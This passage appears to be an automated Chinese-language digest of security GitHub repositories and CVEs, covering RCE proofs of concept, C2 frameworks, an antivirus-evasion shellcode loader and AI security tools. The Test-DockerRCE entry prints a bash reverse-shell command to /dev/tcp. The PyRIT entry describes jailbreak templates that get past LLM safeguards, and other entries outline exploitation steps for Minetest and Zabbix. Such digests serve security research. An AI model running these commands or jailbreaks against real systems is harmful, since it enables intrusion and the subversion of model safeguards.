该仓库是一个VS Code扩展，旨在帮助开发人员测试和验证大型语言模型（LLM）生成的代码中的安全漏洞。最近的更新修复了一些测试，增加了安全相关的检查。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 修复了Plaintextpassword 测试 |
| 2 | 更新了Weakhashing测试 |
| 3 | 更新了检查堆栈溢出漏洞代码 |
| 4 | 新增了对LLM生成代码的安全测试功能 |
🛠️ 技术细节
修复了用于检测明文密码的测试。
更新了用于检测弱哈希算法的测试。
更新了用于检测堆栈溢出漏洞的测试代码。
这些更新改进了对LLM生成代码的安全评估能力。
🎯 受影响组件
• VS Code extension
• LLM-generated code
⚡ 价值评估
展开查看详细评估
该项目通过对LLM生成代码进行安全检测，提高了软件供应链的安全性，尽管更新内容主要为测试修复和增强，但与代码安全紧密相关，具有一定价值。
Intelligent-Document-Processing-System-for-Compliance-and-Security - AI文档处理，保障合规和安全
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Intelligent-Document-Processing-System-for-Compliance-and-Security |
| 风险等级 | LOW |
| 安全类型 | 安全工具 |
| 更新类型 | 新增项目 |
📊 代码统计
- 分析提交数: 1
💡 分析概述
该仓库是一个基于AI的文档处理系统，通过OCR、NLP技术，实现从文档中提取、分类和脱敏敏感信息。主要功能包括文档解析、命名实体识别（NER）、PII脱敏、文本分类和section级别的分类。项目旨在提高文档处理的自动化程度，并确保隐私合规性，如GDPR、HIPAA、CCPA等。虽然仓库主要关注合规和数据保护，但其核心功能与安全领域密切相关，例如，能够处理机密文件，并且通过检测和脱敏 PII 来保护敏感信息。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | AI驱动的文档处理系统，用于敏感信息提取、分类和脱敏。 |
| 2 | 利用NLP技术实现PII的自动检测和脱敏，确保合规性。 |
| 3 | 包含文本分类和section级别的分类功能，提升文档处理的智能化程度。 |
| 4 | 与AI+Security关键词高度相关，项目核心功能直接应用于安全合规。 |
| 5 | 提供了创新的安全数据处理方法，有助于提高安全性和合规性。 |
🛠️ 技术细节
使用pdfplumber和Tesseract进行文档解析和OCR。
利用spaCy、Flair和Stanza进行命名实体识别（NER），识别PII。
通过正则表达式和NER进行PII脱敏。
采用TF-IDF和Naive Bayes进行文本分类。
使用BERT和Hugging Face Transformers进行section级别的分类。
采用FastAPI和Flask进行部署。
🎯 受影响组件
• OCR
• NLP
• spaCy
• Flair
• Stanza
• TF-IDF
• Naive Bayes
• BERT
• Hugging Face Transformers
• FastAPI
• Flask
⚡ 价值评估
展开查看详细评估
该项目与AI+Security关键词高度相关，其核心功能是利用AI技术处理文档，提取敏感信息，并进行脱敏处理，从而提高数据安全性和合规性。虽然该项目主要关注合规性，但其技术实现和应用场景都与安全领域密切相关，例如，在处理机密文档时，进行PII检测和脱敏，可以有效防止敏感信息泄露。项目实现了独特安全检测和数据保护的功能，具备一定的研究价值和实用价值。
PyRIT - PyRIT新增Jailbreak Prompt
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | PyRIT |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 4
- 变更文件数: 70
💡 分析概述
该仓库本次更新主要增加了针对不同LLM模型的jailbreak prompt模板，这有助于安全研究人员评估LLM的安全风险，特别是其对恶意输入的抵抗能力。由于jailbreak属于安全研究范畴，且涉及到对LLM的攻击，因此具有较高的安全价值。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增Babelscape数据集 |
| 2 | 添加了多个Pliny的jailbreak prompt模板，涉及多种LLM模型，包括OpenAI、Google、Meta等 |
| 3 | 为多模态seed prompts添加编码数据 |
| 4 | 修复pre-commit hook，移除notebook header |
🛠️ 技术细节
新增了babelscape_alert_dataset数据集的fetch功能，为LLM安全评估提供了更多数据集支持。
添加了大量pliny jailbreak prompt模板，包括Qwen, ChatGPT, Gemini, Llama, Mistral等，提供了多种jailbreak攻击方式。
prompt模板中包含各种绕过LLM安全限制的指令，例如直接修改system setting, 使用leetspeak等方式
为多模态种子提示增加了编码数据，增强了对多模态数据的支持。
修改pre-commit hook，移除了notebook headers.
🎯 受影响组件
• PyRIT框架
• Prompt模板
• LLM模型
⚡ 价值评估
展开查看详细评估
新增了多种针对不同LLM的jailbreak prompt模板，有助于评估LLM的安全性，具有较高的安全研究价值。涉及到的jailbreak技术，可能被用于绕过LLM的安全限制。
caddy-defender - Caddy Defender安全增强
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | caddy-defender |
| 风险等级 | MEDIUM |
| 安全类型 | 安全修复/安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 4
- 变更文件数: 13
💡 分析概述
该更新修复了Caddy Defender模块中与文件写入相关的安全漏洞，并增加了静态代码分析、性能优化和IP范围更新。修复了ranges/main.go中写入文件时没有使用独占访问方式的安全隐患。添加了gosec静态扫描，修复了http.Get调用中的安全问题。chore: update IP ranges 更新了IP地址范围，可能影响AI/云服务的拦截策略。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 修复了关键的安全漏洞，确保了写入IP范围文件时的独占访问。 |
| 2 | 增加了安全扫描，使用gosec进行代码静态分析。 |
| 3 | 更新了IP范围列表，可能影响AI或云服务的访问控制。 |
| 4 | 优化了性能，预先分配了切片空间。 |
| 5 | 修复了多种代码质量问题。 |
🛠️ 技术细节
修复了
ranges/main.go中未对写入文件进行独占访问的漏洞，使用os.Create创建文件并使用defer file.Close()保证文件关闭，避免并发写入导致的数据损坏或安全问题。
使用
gosec进行代码静态分析，修复了ranges/fetchers/azure.go和ranges/fetchers/openai.go中http.Get调用未检查TLS证书的潜在安全风险，添加//nolint:gosec注释暂时绕过。
优化了
ranges/fetchers/github.go中copilotRanges切片的预分配，提升性能。
修复了
responders/garbage.go中代码风格和随机数生成问题，使用math/rand/v2。
更新了IP范围，增加了新的IP段用于拦截。
修复了
ranges/main.go中log.Fatalf替换为log.Panicf，提高了错误处理的严谨性。
🎯 受影响组件
• Caddy Defender module
• IP range data generation
⚡ 价值评估
展开查看详细评估
修复了安全漏洞，增强了安全防护措施，提高了代码质量。
CVE-2023-46604 - ActiveMQ OpenWire反序列化RCE
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2023-46604 |
| 风险等级 | CRITICAL |
| 利用状态 | 漏洞利用可用 |
| 发布时间 | 2025-02-27 00:00:00 |
| 最后更新 | 2025-02-27 05:21:16 |
📦 相关仓库
💡 分析概述
CVE-2023-46604是一个关于Apache ActiveMQ的OpenWire协议反序列化漏洞，攻击者可以通过构造恶意的OpenWire消息，在目标系统上执行任意代码。该漏洞影响Java客户端和Brokers。漏洞的根本原因是OpenWire协议在处理序列化对象时存在安全隐患，恶意攻击者可以利用该漏洞执行任意代码，控制受影响的系统。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | ActiveMQ OpenWire协议反序列化漏洞 |
| 2 | 远程代码执行(RCE) |
| 3 | 影响ActiveMQ 5.17.3及以下版本 |
| 4 | 攻击者构造恶意OpenWire消息，触发反序列化漏洞 |
🛠️ 技术细节
漏洞原理：ActiveMQ的OpenWire协议在处理序列化对象时，没有对用户提交的类进行严格的类型校验，导致攻击者可以通过构造恶意的序列化对象，在目标系统上执行任意代码。
利用方法：攻击者构造恶意OpenWire消息，其中包含恶意类。当ActiveMQ Broker或客户端反序列化该消息时，就会触发漏洞，执行恶意代码。
修复方案：升级到ActiveMQ 5.17.4或更高版本。官方已修复此漏洞，建议尽快升级以避免被攻击。
🎯 受影响组件
• Apache ActiveMQ
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的消息中间件ActiveMQ，存在明确的受影响版本，且可以实现远程代码执行。POC和利用方式都已公开。
go-bypass-loader - Go免杀Shellcode加载器
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | go-bypass-loader |
| 风险等级 | HIGH |
| 安全类型 | 安全工具/漏洞利用 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 5
💡 分析概述
该仓库提供了一个使用Go语言编写的Shellcode免杀加载器。它通过AES加密和异或操作对Shellcode进行混淆，以此绕过安全软件的检测。仓库包含了两个加载器实现,X和Y，实现了内存分配、权限修改和shellcode执行。该仓库对于安全研究人员来说具有较高的研究价值，可用于学习免杀技术。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Go实现的Shellcode免杀加载器 |
| 2 | 使用了AES加密和异或混淆Shellcode |
| 3 | 包含两个加载器实现,X和Y |
| 4 | 与免杀主题高度相关 |
🛠️ 技术细节
使用AES加密算法对Shellcode进行加密
使用异或操作进行混淆
实现X和Y两种不同的加载器
X加载器使用NtProtectVirtualMemory修改内存权限
Y加载器使用VirtualAlloc分配内存并使用RtlCopyMemory复制Shellcode
🎯 受影响组件
• Windows
• Shellcode Loader
⚡ 价值评估
展开查看详细评估
仓库与免杀主题高度相关，提供了实用的Shellcode加载和混淆技术。代码质量尚可，具备一定的研究和学习价值。项目实现的功能与搜索关键词高度相关。
Primeton-EOS-RCE - 普元EOS Platform RCE POC
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Primeton-EOS-RCE |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库提供了一个针对普元EOS Platform的远程代码执行(RCE)漏洞的POC。该POC以Python脚本的形式实现，用户可以通过指定URL列表或单个URL进行漏洞验证。漏洞编号为XVE-2023-24691。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 针对普元EOS Platform的RCE漏洞POC |
| 2 | POC利用方式为python脚本 |
| 3 | 可以直接利用poc进行RCE漏洞的验证 |
| 4 | 与RCE关键词高度相关 |
| 5 | 提供漏洞利用方法 |
🛠️ 技术细节
POC 使用 python 脚本
用户可以通过 -u 参数指定单个目标URL，或通过 -f 参数指定包含目标URL的文本文件
通过修改README文件新增使用说明
🎯 受影响组件
• 普元EOS Platform
⚡ 价值评估
展开查看详细评估
该仓库直接提供了RCE漏洞的POC，与RCE关键词高度相关，可以直接用于漏洞验证和渗透测试，具有很高的价值。
Test-DockerRCE - Docker容器RCE反弹Shell
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Test-DockerRCE |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 1
💡 分析概述
该仓库新增了reverse.sh脚本，其中包含Bash反弹shell的命令，用于演示在Docker容器中实现远程代码执行（RCE）。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 创建了reverse.sh脚本，用于反弹shell。 |
| 2 | 脚本包含bash反弹shell的命令。 |
| 3 | 该仓库演示了Docker容器RCE的利用。 |
🛠️ 技术细节
reverse.sh脚本使用bash -i >& /dev/tcp/IP/PORT 0>&1 命令实现反弹shell。
该脚本可用于攻击者从受害Docker容器获取访问权限。
🎯 受影响组件
• Docker
⚡ 价值评估
展开查看详细评估
该更新提供了RCE漏洞的利用方式，具有很高的安全风险。
collab-runner-rce - 引入状态解析器，增强功能。
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | collab-runner-rce |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 4
- 变更文件数: 22
💡 分析概述
该仓库本次更新主要增加了状态解析功能，通过引入状态解析器，提取代码中的全局变量和函数信息，并在agent和worker服务中加入了对状态文件的处理。其中 worker 服务修复了 创建vm 的错误，以及增加了更多配置参数。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 引入了状态解析器，用于提取代码中的全局变量和函数信息。 |
| 2 | 在agent服务中增加了状态解析器的调用，使得agent服务可以处理状态文件。 |
| 3 | worker服务中增加了对状态文件的处理，并使用dill进行序列化。 |
| 4 | 修复了 worker服务的 多个bug 和功能增强。 |
🛠️ 技术细节
修改了 build_python_image.sh 脚本，使用qemu-img create 创建更大的磁盘镜像。修改了 agent服务，加入了对于状态文件的处理, 主要是在runCode函数中，调用state-parser对代码进行解析,并且将解析结果保存到state文件中。修改了 worker服务, 增加了CreateVM的配置参数以及logger配置，使得VM的创建更加灵活。修改了utils.go文件，添加了copy方法，用于文件拷贝。
新增状态解析器，可以解析Python代码中的全局变量和函数, 并将结果序列化到文件。修改了 build_python_image.sh, 增加了对agent服务的构建以及依赖的安装，修改了 services/agent/main.go, 在runCode函数中，调用state-parser,生成状态文件。修改了 services/worker/main.go, 增加了状态文件endpoint，增加了VM的配置参数, 修复了VM创建相关的错误。增加了 utils包。
🎯 受影响组件
• services/agent/main.go
• services/worker/main.go
• state-parser
⚡ 价值评估
展开查看详细评估
增加了状态解析功能，改进了agent和worker服务的交互,虽然没有直接的安全漏洞修复，但是增加了代码分析和状态监控的能力，可能用于后续的安全审计。
AI_security_app - 基于AI的日志异常检测
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AI_security_app |
| 风险等级 | LOW |
| 安全类型 | 安全工具 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 1
💡 分析概述
该仓库是一个基于AI的日志监控和异常检测应用，使用NSL-KDD数据集训练机器学习模型，用于实时检测日志中的异常行为。虽然功能与安全相关，但代码并未公开，也无POC或漏洞利用，初步判断价值较低。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 基于AI的日志异常检测应用 |
| 2 | 使用NSL-KDD数据集训练异常检测模型 |
| 3 | 提供实时日志监控和异常检测功能 |
| 4 | 与搜索关键词'AI+Security'高度相关 |
🛠️ 技术细节
使用机器学习模型进行异常检测
基于NSL-KDD数据集训练模型
实时或批量处理日志文件
生成异常警报或报告
🎯 受影响组件
• Log Monitoring System
• Machine Learning Model
• NSL-KDD dataset
⚡ 价值评估
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该仓库使用AI技术进行安全相关的日志分析，与搜索关键词'AI+Security'高度相关。虽然缺少进一步的技术细节和代码，但其核心功能与安全分析紧密结合。 由于该项目提供了基于AI的异常检测，使用标准数据集，并提供了应用程序界面，且与安全分析相关， 因此具备一定的参考价值。
horus - 新增SwapTool，安全兑换
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | horus |
| 风险等级 | MEDIUM |
| 安全类型 | Security Feature |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 18
💡 分析概述
该更新增加了SwapTool，一个用于在安全代理中进行安全代币交换的工具。它利用Coinbase AgentKit进行跨链代币交换，支持多种DEX和EVM网络，并具有token和DEX地址解析、价格预估以及模拟模式等功能。SecurityAgent也被增强，以检测和执行swap操作。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Added SwapTool for secure token exchanges using Coinbase AgentKit. |
| 2 | Enhanced SecurityAgent with swap action detection and execution. |
| 3 | Implemented token and DEX address resolution and price estimation. |
| 4 | Included simulation mode for environments without AgentKit. |
🛠️ 技术细节
SwapTool使用了Coinbase AgentKit的CdpActionProvider和CdpWalletProvider进行token交换。
它包含token和DEX地址解析逻辑，支持多链和多DEX。
实现了价格预估和滑点保护功能。
提供了AgentKit不可用时的模拟模式。
SecurityAgent添加了对SwapTool的集成，可以检测和执行swap操作。
🎯 受影响组件
• SecurityAgent
• SwapTool
• Coinbase AgentKit (if available)
⚡ 价值评估
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增加了新的安全功能，允许在安全代理中进行安全代币交换，提升了安全性。增强了安全代理的功能，扩大了安全防护范围。
AIO-Note - CTF Writeup及安全知识库更新
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AIO-Note |
| 风险等级 | MEDIUM |
| 安全类型 | 安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 4
- 变更文件数: 10
💡 分析概述
该仓库更新了CTF的Writeup，包含SQL注入等漏洞分析，并增加了移动安全逆向工程的基础知识。README文件也进行了更新，增加了对Web安全、移动安全等领域的知识总结。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增了CTF Web安全挑战Writeup，包含SQL注入等漏洞分析。 |
| 2 | 增加了移动安全逆向工程的基础知识，如Obfuscation |
| 3 | 更新了README，增加了对Web安全、移动安全等领域的知识总结。 |
🛠️ 技术细节
新增了对CommonVuln的Writeup，详细描述了SQL注入漏洞的发现与利用过程。
增加了关于移动端应用混淆的介绍，包含混淆技术的原理和反混淆方法。
对README.md文件进行了更新，增加了对安全知识的分类整理。
🎯 受影响组件
• Web应用程序
• 移动端应用程序
⚡ 价值评估
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更新包含了Web安全漏洞分析和移动安全的基础知识，对安全研究人员具有一定的参考价值。
CVE-2022-23131 - Zabbix SAML认证绕过漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2022-23131 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-02-27 00:00:00 |
| 最后更新 | 2025-02-27 06:50:13 |
📦 相关仓库
💡 分析概述
该漏洞是Zabbix SAML认证绕过漏洞，攻击者可以通过构造恶意的Zabbix session cookie绕过SAML认证，成功登录Zabbix后台。POC代码已提供，验证了漏洞的真实性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Zabbix SAML身份验证绕过漏洞 |
| 2 | 通过构造恶意的Zabbix session cookie绕过SAML认证 |
| 3 | 利用POC可成功登录Zabbix后台 |
| 4 | 影响Zabbix监控系统安全 |
🛠️ 技术细节
漏洞原理：Zabbix SAML认证过程中，session cookie的构造存在缺陷，攻击者可以构造恶意的session cookie绕过认证。
利用方法：构造包含恶意payload的Zabbix session cookie，并将其设置到cookie中，访问Zabbix页面即可绕过认证，进入后台。
修复方案：升级Zabbix版本至安全版本，或者加强对session cookie的校验和安全防护。
🎯 受影响组件
• Zabbix
⚡ 价值评估
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影响广泛使用的Zabbix监控系统，存在明确的POC，可以绕过认证，危害严重。
vulnerable-website - 演示SSRF漏洞的网站
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | vulnerable-website |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 3
- 变更文件数: 6
💡 分析概述
该仓库是一个充满漏洞的网站，本次更新增加了SSRF漏洞的演示代码，并更新了漏洞列表。其中，SSRF.py新增了一个用于模拟内网服务的代码，app.py的修改可能引入新的安全风险，如未校验的用户输入。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 增加了SSRF漏洞的演示代码 |
| 2 | 更新了漏洞列表 |
| 3 | 修复了部分代码 |
| 4 | 修改了app.py,可能存在新漏洞 |
🛠️ 技术细节
SSRF.py: 添加了SSRF漏洞的模拟环境，该文件通过创建HTTP服务器来模拟内网资源，攻击者可以通过构造恶意请求来访问该资源。
app.py: 修改了用户注册和登录功能，用户提交的username，password未进行校验，存在安全风险。
🎯 受影响组件
• Web Application
• SSRF.py
• app.py
⚡ 价值评估
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增加了新的漏洞演示，有助于安全研究和学习。同时，app.py的修改可能引入新的安全风险，需要进一步分析。
HexaneC2-pre-alpha - HexaneC2优化修复
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | HexaneC2-pre-alpha |
| 风险等级 | MEDIUM |
| 安全类型 | 安全修复 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 2
💡 分析概述
本次更新修复了HexaneC2框架中由于过度优化导致的潜在问题。通过引入间接寻址和volatile临时指针，解决了编译器优化可能导致程序行为异常的风险，从而提升了C2框架的稳定性和可靠性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 修复了C2框架的优化问题 |
| 2 | 通过增加间接寻址和volatile指针进行修复 |
| 3 | 解决了可能导致C2框架行为异常的优化问题 |
🛠️ 技术细节
修复方案：引入了使用volatile修饰的临时指针，并通过间接寻址来避免编译器对关键代码段的过度优化。
安全影响：虽然更新本身未直接涉及漏洞，但修复了可能导致C2框架行为异常的优化问题。这能够提高C2框架的稳定性和隐蔽性，间接提升了安全性。如果该优化问题导致C2框架的某些功能失效，则可能影响渗透测试的效率。
🎯 受影响组件
• C2框架
⚡ 价值评估
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修复了C2框架中可能导致功能异常的优化问题，提升了框架的稳定性和可靠性。
XiebroC2 - XiebroC2新增macOS平台支持
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | XiebroC2 |
| 风险等级 | HIGH |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 3
- 变更文件数: 28
💡 分析概述
该仓库更新了对macOS平台的C2支持，增加了新的客户端和TCP/WS协议。同时，Linux和Windows平台下的C2客户端和TCP/WS协议也进行了更新和重构。这些更新增加了C2框架的功能和适用范围。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增了darwin平台（macOS）的C2客户端和TCP/WS协议 |
| 2 | 更新了linux和windows平台下的C2客户端和TCP/WS协议 |
| 3 | 重构了部分代码，例如将HandlePacket模块进行平台区分，增强代码可维护性 |
🛠️ 技术细节
新增darwin平台客户端代码，实现了C2客户端在macOS上的运行
新增darwin平台下的TCP和WS协议的支持，能够与服务端进行通信
重构了HandlePacket模块，根据不同平台进行区分，提升代码结构和可维护性
将原来各个平台共用的tcp/ws相关代码进行拆分，并依据不同平台进行独立构建
🎯 受影响组件
• C2框架
⚡ 价值评估
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增加了对macOS平台的C2支持，扩展了C2框架的适用范围，增加了C2框架的隐蔽性,提高了C2框架的可用性。
c2json-tools - 新增游戏计算工具与修复。
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | c2json-tools |
| 风险等级 | LOW |
| 安全类型 | 安全功能 |
| 更新类型 | GENERAL_UPDATE |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 7
💡 分析概述
该仓库更新增加了用于游戏数据计算的工具，包括阴影之门计算器和盒子矩阵计算器，并改进了线性地雷计算器。 同时修复了地雷计算器中地雷类型错误。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增Shadow Door计算器，用于计算阴影之门游戏中的数据。 |
| 2 | 新增盒子矩阵计算器，提供游戏数据计算功能。 |
| 3 | 改进了线性地雷计算器，增加了地雷连续引爆的提示。 |
| 4 | 修复了地雷计算器中地雷类型错误。 |
🛠️ 技术细节
shadowDoor_calculator.py：实现了阴影之门游戏中可破坏区域和阴影区域的计算，包括坐标转换和范围计算。
boxes_matrix.py：实现盒子矩阵计算，根据不同参数计算游戏内数据。
mines_gen.py：改进线性地雷计算器，修改了地雷类型，并增加了连续引爆的提示。
linux-startCN.sh: 新增脚本，用于启动《二战前线合集》并显示中文，方便用户使用。
🎯 受影响组件
• shadowDoor_calculator.py
• boxes_matrix.py
• mines_gen.py
⚡ 价值评估
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虽然没有直接的安全漏洞利用或修复，但是提供了游戏数据计算工具，间接可能与游戏安全相关，故判断为有价值的更新。
Remote_Administrative_Console - C2框架，远程管理客户端
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Remote_Administrative_Console |
| 风险等级 | HIGH |
| 安全类型 | 安全工具 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库提供了一个C2框架，允许远程管理客户端，包括命令执行、文件操作、信息收集等功能。由于其C2的特性，存在被恶意利用的风险。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 实现了C2框架，支持远程命令执行、文件管理、信息收集等功能 |
| 2 | 提供了Windows和Linux客户端，方便用户部署和测试 |
| 3 | 基于REST API，具有一定的灵活性和可扩展性 |
| 4 | 与搜索关键词'c2'高度相关，核心功能即为C2框架 |
🛠️ 技术细节
C++编写，基于Qt框架，采用REST API进行通信
客户端与服务端交互，服务端接收命令并执行，客户端反馈结果
包含文件上传下载、shell命令执行等功能，潜在安全风险较高
🎯 受影响组件
• C++ 客户端
• C++ 服务端
⚡ 价值评估
展开查看详细评估
该仓库直接实现了C2框架，与搜索关键词'c2'高度相关，且具备安全研究价值。能够用于渗透测试、红队攻防等场景。
SubSentry - AI驱动的子域名接管检测
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | SubSentry |
| 风险等级 | MEDIUM |
| 安全类型 | 安全工具 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库是一个自动化子域名接管检测工具，利用AI技术识别CNAME记录配置错误，废弃服务以及潜在的安全风险。更新仅包含README.md，内容为项目介绍。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用AI检测子域名接管漏洞 |
| 2 | 自动化检测CNAME记录配置错误 |
| 3 | 识别废弃服务和潜在安全风险 |
| 4 | 与AI+Security关键词高度相关 |
🛠️ 技术细节
基于AI的子域名接管检测
CNAME记录扫描与分析
废弃服务识别
🎯 受影响组件
• DNS
• CNAME records
• Web services
⚡ 价值评估
展开查看详细评估
该项目与AI+Security关键词高度相关，核心功能为利用AI进行安全检测。虽然目前代码量较少，但其潜在的价值在于使用AI自动化检测子域名接管，属于一种创新的安全研究方向。
CVE-2022-35978 - Minetest游戏引擎RCE漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2022-35978 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-02-27 00:00:00 |
| 最后更新 | 2025-02-27 07:35:20 |
📦 相关仓库
💡 分析概述
该POC利用Minetest游戏引擎在单人模式下，通过修改main_menu_script配置，加载恶意Lua脚本，从而实现远程代码执行（RCE）。由于Lua环境未进行沙箱化，恶意代码可以执行系统命令，如创建用户、设置密码等，从而造成严重的安全威胁。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Minetest游戏引擎主菜单Lua脚本配置不当 |
| 2 | 单人模式下可执行任意Lua代码 |
| 3 | Lua环境未沙箱化，可进行系统调用，导致RCE |
🛠️ 技术细节
漏洞原理：Minetest游戏在单人模式下，允许用户通过mod修改全局设置，包括主菜单的Lua脚本路径。当游戏退出到主菜单时，会加载该Lua脚本。由于该脚本的Lua环境未沙箱化，恶意用户可以通过编写恶意Lua脚本，执行任意系统命令。
利用方法：1. 将包含恶意Lua脚本的mod放置在Minetest的mod目录下。2. 修改Minetest配置文件，将main_menu_script设置为指向恶意Lua脚本。3. 在单人游戏模式下进入游戏，然后退出到主菜单，触发恶意Lua脚本执行。
修复方案：升级Minetest至5.6.0及以上版本。该版本修复了该漏洞，限制了主菜单脚本的执行权限。
🎯 受影响组件
• Minetest <= 5.5.1
⚡ 价值评估
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该漏洞影响广泛使用的游戏引擎Minetest，且POC代码已公开，具有完整的利用方法，可以创建系统用户，属于RCE漏洞，风险等级为CRITICAL。
jar-analyzer - JAR包分析工具，反序列化恶意代码提取
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | jar-analyzer |
| 风险等级 | HIGH |
| 安全类型 | 安全工具/安全研究 |
| 更新类型 | 功能增强/问题修复 |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 8
💡 分析概述
该仓库是一个JAR包分析工具，核心功能包括批量JAR包分析、SCA漏洞分析、方法调用关系搜索、字符串搜索、Spring组件分析、信息泄露检查、CFG程序分析、JVM栈帧分析等。与反序列化相关的关键特性在于其能够一键提取序列化数据中的恶意代码，这对于安全研究和漏洞分析具有重要意义。更新日志中修复了打开非class文件的问题，提高了工具的稳定性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 提供一键提取序列化数据恶意代码功能 |
| 2 | 支持反编译JAR包，分析字节码 |
| 3 | 包含信息泄露检查功能 |
| 4 | 能够进行SCA漏洞分析 |
🛠️ 技术细节
支持多种分析功能，包括反编译、代码搜索、控制流图（CFG）分析、JVM栈帧分析等。
能够从序列化数据中提取恶意代码，分析潜在的反序列化漏洞。
集成了信息泄露检查，可以检测敏感信息泄露。
🎯 受影响组件
• Java
• JAR files
• Spring
⚡ 价值评估
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该工具与反序列化漏洞分析高度相关，能够直接从序列化数据中提取恶意代码，辅助安全研究人员进行漏洞挖掘。此外，其SCA分析和信息泄露检查功能也增加了其价值。代码质量较高，功能实用，具备研究价值。
quic-tun - QUIC隧道加速与安全传输
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | quic-tun |
| 风险等级 | LOW |
| 安全类型 | 安全工具 |
| 更新类型 | 新增 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 33
💡 分析概述
该仓库提供了一个基于QUIC协议的隧道工具，旨在加速和保护TCP/UNIX应用程序的访问。它包含quictun-server和quictun-client两个组件，并支持多种Token插件用于身份验证。此外，还提供了性能测试报告和网络延迟测试工具，有助于评估工具的性能。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 基于QUIC协议的快速安全隧道工具，用于加速和保护TCP/UNIX应用访问。 |
| 2 | 提供了quictun-server和quictun-client两个组件。 |
| 3 | 支持多种Token插件，增强了身份验证和访问控制的灵活性。 |
| 4 | 包含性能测试报告和网络延迟测试工具。 |
🛠️ 技术细节
使用QUIC协议进行数据传输，提供了加密和快速传输的特性。
token机制用于客户端身份验证，支持Fixed, File, Http等多种Token源。
包含客户端和服务端的实现，以及配置选项。
🎯 受影响组件
• quic-go
• TCP/UNIX applications
⚡ 价值评估
展开查看详细评估
该仓库提供了一种安全、快速的隧道工具，与安全工具关键词高度相关，且项目包含实质性的技术内容。它提供了QUIC协议的实现，增强了安全性和传输效率。此外，多样的Token插件增加了灵活性。
